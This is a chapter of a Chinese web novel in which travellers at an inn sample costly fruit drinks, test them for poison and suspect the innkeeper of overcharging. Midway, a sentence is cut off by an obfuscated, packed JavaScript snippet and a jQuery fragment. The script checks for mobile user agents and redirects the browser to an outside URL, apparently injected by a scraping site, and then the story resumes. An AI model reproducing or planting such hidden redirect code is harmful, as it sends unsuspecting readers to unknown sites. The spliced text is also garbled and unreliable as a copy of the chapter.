入夜没齿痕

90. 玉露

    “有何不——”


    宁佳与话音未完,柳如殷的叫门声轻悠悠递至屋内。


    她没有犹豫,边应边起身,长发随行扬起半圈弧形,几点凉意溘然与宁展重逢。


    凉意依旧落于手背,宁展视线追着宁佳与背影,其间抬臂轻嗅。


    原非夺眶而出的眼泪,是解语花的霜;亦非他身上的皂角,是宁佳与发梢的木槿叶[1]。


    围廊强光劈门侵袭,宁展不适地虚掩双目。


    来者鱼贯涌入,不止柳如殷。


    为着布菜,堂倌包围长案。个个手脚麻利,脸蛋、衣着光洁,且趁空给端坐一侧的宁展哈腰见礼,行事无不周全。


    宁展扶了扶面具,微笑颔首。


    领头的堂倌找上宁佳与,弓身交差:“贵客,您吩咐的珊瑚桂鱼、汴州烧肉、烝烛豆泥、牛肉细面、排骨藕汤......”


    宁展闻声愣怔,宁佳与适间并不是以“排骨汤”逗他不明其言——竟真有排骨汤?


    众堂倌恭敬请示宁佳与后,上房外间布满十盏明灯。


    此灯和宁佳与随手点的黄蜡不同,名贵的雕花红烛作内里,上好的绢纱作穗子,加之数量,寓意十全十美。


    依他们说,这是掌柜自费,表示对贵客的欢迎。


    然如此昂贵的欢迎,却不单为他们这些于上房用饭的客人配设。


    宁展从二层奔赴三层,途中留意到诸多其主久坐正堂、其舍空无一人的房中也亮着十盏华灯,不可谓不奢侈。


    少数的例外,则不是因贵客未至挂着预留门牌,就是夜色将起人便早早歇下、无须点灯的屋子。


    堂倌全程低眉垂眼,手上一气呵成,不消使唤自觉退至门外静候。


    “这便是咱们阆琼最抢手的‘冰清玉露’。”


    领头的呈上六坛陶罐,约成人头颅大小。他独立案旁,为三位介绍那誉高满楼的果子露。


    “此招牌,萃其珍稀纯露,取仙露琼浆之‘露’;以时令鲜果为原料,取不假雕饰之‘玉’;夏作碎晶、冬作温茶打底,取消乏解腻之‘冰’;无花蜜、无蔗饴,仅辅以银丹草[2]调和,取淡雅绝俗之‘清’。”


    众人脚下“噔噔噔”的闷响由远及近,逐渐盖过冰清玉露的由来。


    “小——”景以承在宁佳与房门前倏尔刹住声音和脚步,屋内人、事、物一股脑把他眼底挤满。面色乍青乍白,他干笑着提衫往里进,语无伦次道:“哈哈,哈哈。大伙儿都在,都在好,都在好。”


    堂倌识趣拱手,告退:“小的不打搅贵客们用饭。望谨记小店成规,预祝各位吃好喝好,玩得尽兴。”


    闻及“成规”二字,景以承想起其中“专爱食人眼球的恶犬”,登时连打几个寒战。待柳如殷闭紧房,围廊映上麻纸的人影退了,他泥鳅一样滑进与宁展同侧的圈椅,惊魂甫定。


    “元兄你在这儿啊!我四处寻你不得,实在害怕,只好来求——来瞧瞧二位姑娘是否安好。”


    “安好么?”宁展看着对面的宁佳与,附和道,“二位姑娘。”


    这话他方才就想问,和景以承问的意思却不同。


    “沐浴更衣浑身轻,好得不能再好了。”宁佳与收了案边散落的赤色发带,招呼柳如殷坐她右边。


    她正要捡起景以承口中被宁展忽略的事,抬眼对上宁展不依不饶的目光,遂与柳如殷相视一笑。


    “做什么?”宁佳与道,“公子连女儿家叙话的内容也想打听?”


    宁展堪听宁佳与决计在此用饭,柳如殷紧着领人上门布菜,显然二人预先商量了。他问的就是除此之外,宁佳与和柳如殷还干过什么其余三个不知的“好事”,才没心思打听她们张嘴胡诌的托词。


    再者,先前他为遮掩被各式玩笑打趣的局促,假借规矩劝宁佳与多少执点儿礼,宁佳与又何曾搭理他?这时倒乘风使舵,一口一个“小女子”“女儿家”。


    在宁展脸色憋成珊瑚桂鱼之前,宁佳与见好就收。


    她挥动那抹赤色,笑道:“柳姐姐替我洗净束带,上门归还。念大家尚未用饭,我与柳姐姐同道下正堂瞧了眼食谱,最后拍板付银子。仅此而已。”


    许是担忧宁展白日没关注那束带行踪,柳如殷添补道:“与姑娘的束带给我擦脸了,我洗净奉还。”


    宁展照常颔首,不予置评,话锋转向景以承:“景兄寻我?”


    “——哦,对!”


    景以承猛拍几案,复又“唉哟唉哟”地缩手,眼瞟满屋华灯。


    “元兄啊,你离开没多会儿,我房里来了许多布置这些烛灯的人,道是非得燃至子时初刻才能熄,怪得很!我本想去你那屋候着,等你回来再看怎么处置,可你房里也是大灯十盏!上邪呀,红通通的空屋子,并着成规的‘恶犬’,光想就瘆死人了!”


    因景以承声情并茂的诉苦,宁展多扫了周围的灯盏几眼。


    他不似景以承那般深信鬼神之说,兼目前观,所谓恶犬未必不是为防客人不守成规,震慑人心的无稽之谈——无论沿途抑或客栈,几人从未碰见一只狗,更未听到丁点儿犬吠。


    荒郊野岭的地界,周围再无屋舍,踏过黄土即茫茫密丛。恶犬不是神出鬼没的幽冥,恐怕没有昼伏夜行、凭空乍现的能耐。


    故宁展不理解究竟哪里瘆死人,但也好言安抚:“此灯乃掌柜赠予客人的心意,是谓十全十美的祝福。他们没与你讲明白?”


    “讲是讲了......”


    景以承恹恹拿起自己的筷著,一手一根,看得出神。


    “就是没听过汴亭有这般不讲道理的祝福。比之祝福,更像做法、或是某种......诅咒?”


    “那是专供景安、汴亭王室的雕花红烛,少说三百文一柱,十盏灯便是三两银子,仅次于嘉宁、墨川、永清五百文一柱的龙凤宝蜡。”宁展道,“客栈四十余间上房,每日单点灯就要点掉近一百三十两银,寻常人如何下得这般昂贵的诅咒?”


    “啊......”景以承咬着其中一根筷箸,如小狗磨牙,困惑道:“是我曲解了人家的好意?欸,阿宁呢?”


    柳如殷抬眼,却没正视谁。


    宁展将那来头不小的冰清玉露拎来一坛细瞧,平淡道:“在下边儿盯梢。”


    “哪边儿?”景以承松了牙,脑袋耸到宁展眼下,挡掉大半坛冰清玉露,“我寻人时为何没遇着?”


    宁展好笑道:“若是轻易就让景兄碰着,阿宁这饭碗早晚得丢。”


    “老师?!”景以承深吸气,“你岂能如此痛击学生的心?”


    “术业有专攻,人各有所长嘛。”宁展挪开景以承的脑袋,“景兄那一手鸾翔凤翥的字,不就是阿宁无法匹敌的?”


    论景以承功夫不济,那是当着景以承的面,宁展直白些;论以宁仿若鸡爪的“墨宝”,看在以宁不在场,道“无法匹敌”是给足了面子,实为一塌糊涂才对。


    至于令人三番五次心气不顺的家伙,面子......不给也罢。宁展腹诽。


    “放心,我托那位管事的给以宁兄单独送了两份晚饭,是可口、饱腹的菜式,没挑明另一位的存在。”宁佳与说着,拿过其中一坛果子露琢磨,“趁鲜,大家先吃罢。”


    景以承用饭既斯文又随意,嘴塞得多么满,仍坚持细嚼慢咽。


    而柳如殷虽是言语间最安静的人,但说斯文不准确,该说拘谨。哪怕让她手中玉箸去碰清脆的瓷碗,亦然无声。


    陶罐口封着红布,宁佳与揭布细嗅,肉眼比对自己这坛与宁展倒入杯中的玉液有何异同,不急动筷。


    一时半刻,外间独剩宁展“哗哗”斟果露的动静。四只青翠的折腰杯被他分别满上七八分,其中三杯依次递与在座。


    景以承接过杯盏便要任透白的果露往肚里进,


    “稍等。”宁展及时拦下,扶起自己掌间的折腰杯昂首饮尽。


    景以承目瞪舌僵,脑海浮现卫子昀家中以宁抢在宁展身前探机关的回忆。若是教以宁瞧见宁展为他试毒,牵匹马儿将他连夜丢回景安算轻了。


    宁展停杯迅速,果露则是慢慢抿了。


    他抬起按住景以承的手,道:“无大碍,喝罢。”


    景以承讪讪饮下小口。


    师父极善药与毒,然宁佳与自己这方面至今是半瓶子醋。盖因李施什么都肯教她,只此一处绝口不提、吝啬非常。能配治得怪血病的奇药,是她尽力了。


    见宁展对空口验毒胸有成竹,宁佳与拎起第二坛果露给宁展重新满上,道:“再尝尝这杯?”


    柳如殷执勺浅尝排骨汤,觉得的确鲜美。虑及盯梢时到底不方便用碍事的汤汤水水,她拨动别匙,搅品锅上方升起团团热气,欲留出一份美味。


    宁展中过宁佳与不少圈套,暂不计较竹簪抵上脖颈的钝感犹在,乍来这么一杯诡饮,即使宁佳与神色无比诚恳,他握杯的食指不由得随眼睫颤了颤。


    可元家人自古怕的不是死,是以宁展没看对座热浪翻涌后模糊的眸,无言饮下。


    柳如殷盛了骨汤置于手边,空中余热已


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061225|156870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    散。


    “如何?”宁佳与双眼发亮,泛着迫不及待。


    宁展照旧认真体会,尝过两杯果露的反应却有千差万别。


    他拧眉揭去余下几坛的封口,不顾在座愈发讶异,一一品尝,最后直视宁佳与。


    “你选了六坛味道一模一样的果露?偌大客栈,莫非所谓招牌就这一种?”


    景以承闻言比宁展还惊奇。


    “招牌?!”他连饮两口,确信道:“不就是离枝[1]水儿么!”


    “嗯......无蜜、无饴,推崇清雅,像宫里设宴偏爱调配的果露。一坛,”宁展回味着,指尖敲响陶罐,“六七十文顶天了。六坛——”


    “味道一样,价钱不能混作一谈。你们猜,哪坛是六十文。”


    宁佳与喝了宁展为她斟的果露。


    “哪些又是六十两的?”


    看宁佳与云淡风轻地品第二坛果子露,景以承傻眼了。


    六十两?!


    一位大州君主三餐花销合算都不过五十两,而今汴亭城郊客栈的果饮竟敢漫天要价六十两!


    如同流匪劫道的价格,谁管哪坛是哪坛?


    宁展认为宁佳与不会是任人宰割的冤大头。


    景以承则想退回自己对离枝水儿——哦不,对冰清玉露不以为意的态度。


    “猜不出来罢?”宁佳与放下味道与前一杯毫无二致的果露,笑眯眯道:“我也猜不出来。就知道这里边,唯有一坛是六十文,余下每坛皆为六十两。”


    “看样子,小与在听雪非但没吃亏,且赚得盆满钵满。”宁展瞥了眼宁佳与颈后总值七两银子的生辰礼,忽觉自己还不及那个装蒜的待她好。


    宁佳与注意到宁展近乎要抽走竹簪的眼神,直到宁展又在暗自贬低那份其实于她很珍贵的诚意。


    有钱,金钗银簪、霓裳羽衣、瑶台阆院,什么买不到?对她而言,那是生前的琳琅,死后即如崩坏的串珠朝八方逃窜,一发不可收拾。


    富贵荣华,不定落入哪位看客垂涎已久的囊袋,或跟着原主葬入冷冰冰的棺材。触及真心炙热的人撒手尘寰之际,念念不忘的,不是这些。


    至少宁佳与死前,念的定不是这些。


    但宁展并未真的取走竹簪,宁佳与也不必为那份诚意多加甘言巧词。赤珠仍在她发间生辉,不虞之隙涣然冰释。


    这是金玉不换的默契。


    “元公子想哪儿去了,听雪何来那样赚大钱的肥差?今日这三百两银子,”宁佳与往碗里舀了几勺豆泥,语调轻快,“可是师父留与我的嫁妆。”


    “既是嫁妆,别教那些黑心的东西诓去。”柳如殷放下筷箸,握住宁佳与的手背,“我们这就下去,要他把不该吃的吐出来。”


    “欸不不不,等等!”


    宁佳与不知自己的嫁妆点到了柳如殷哪处穴位,双脚差点儿被其起身一拉带离地面。她瞟见宁展蓄势待发,心道外患重重绝不能窝里斗,赶紧将柳如殷挽回圈椅,声气放轻放缓。


    “我私以为,那果子露有古怪,是以六十两银子得花。古怪之处尚未可知,切莫打草惊蛇呀柳姐姐。”


    “......好。”柳如殷固然瞧出些古怪,却为宁佳与感到不值。她自知身为外人不当左右此事,拾起筷箸,不再插嘴。


    气氛骤降,景以承搁下好容易吹凉的牛肉面先打圆场:“古怪?无非是贪财,还有旁的什么古怪?”


    “当然有。”


    宁佳与若有似无观察宁展脸色。


    “我与柳姐姐翻食谱,不见所谓招牌,直至到钱柜惠钞,掌柜才同我们介绍两种价钱天悬地隔的果子露,建议住店人手一坛。问他二者分别,他道是毫无分别,又说六十两银可求个出行吉利——周遭不太平,往来过客大都为这颇为灵验的‘吉利’买账。”


    景以承扭头一“呸”,忿忿咬牙:“我是晓得这许多大灯笼如何使得起了!那灯下燃的哪是雕花烛,是诓百姓脂膏烧与他们的赃银!这般鱼肉乡里的奸商生意做得如日中天,汴州没王法了!”


    “缙王自顾不暇,难免用心险恶之人钻空子。这客栈,怕只是九牛一毛。”


    宁展打手势提醒景以承压低音量,直勾勾回应宁佳与的观察。


    “虽为招牌,却没有招牌。这黑心钱,他们不敢明着抢。”


    什么招牌不招牌的?景以承没转过弯,宁展便收了声。


    几人循宁展视线看,门上透着围廊彩灯的麻纸映入一道影。


    人形清晰,叩门声起。